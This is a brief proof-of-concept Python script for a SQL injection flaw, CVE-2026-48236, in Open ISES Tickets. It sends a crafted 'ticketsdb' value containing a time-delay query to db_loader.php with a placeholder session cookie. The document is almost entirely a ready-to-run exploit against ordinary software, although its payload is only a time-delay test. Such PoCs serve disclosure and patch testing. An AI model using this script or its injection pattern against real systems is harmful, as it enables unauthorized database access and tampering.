CVE-2026-48236 Open ISES Tickets SQL注入漏洞

# PoC for CVE-2026-48236 # This script demonstrates the SQL injection vulnerability in db_loader.php # by injecting a payload into the 'ticketsdb' parameter. import requests target_url = "http://target-host/path/to/db_loader.php" # Attacker controlled payload to modify SQL syntax # Example: closing the connection string and adding a malicious query payload = "mysql; SELECT SLEEP(5)-- " data = { "ticketsdb": payload, "ticketshost": "localhost", "ticketsuser": "root", "ticketspassword": "password" } # The application requires authentication cookies = { "PHPSESSID": "valid_session_id_here" } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully") print("[+] Check response for SQL injection behavior (e.g., time delay)") else: print("[-] Request failed")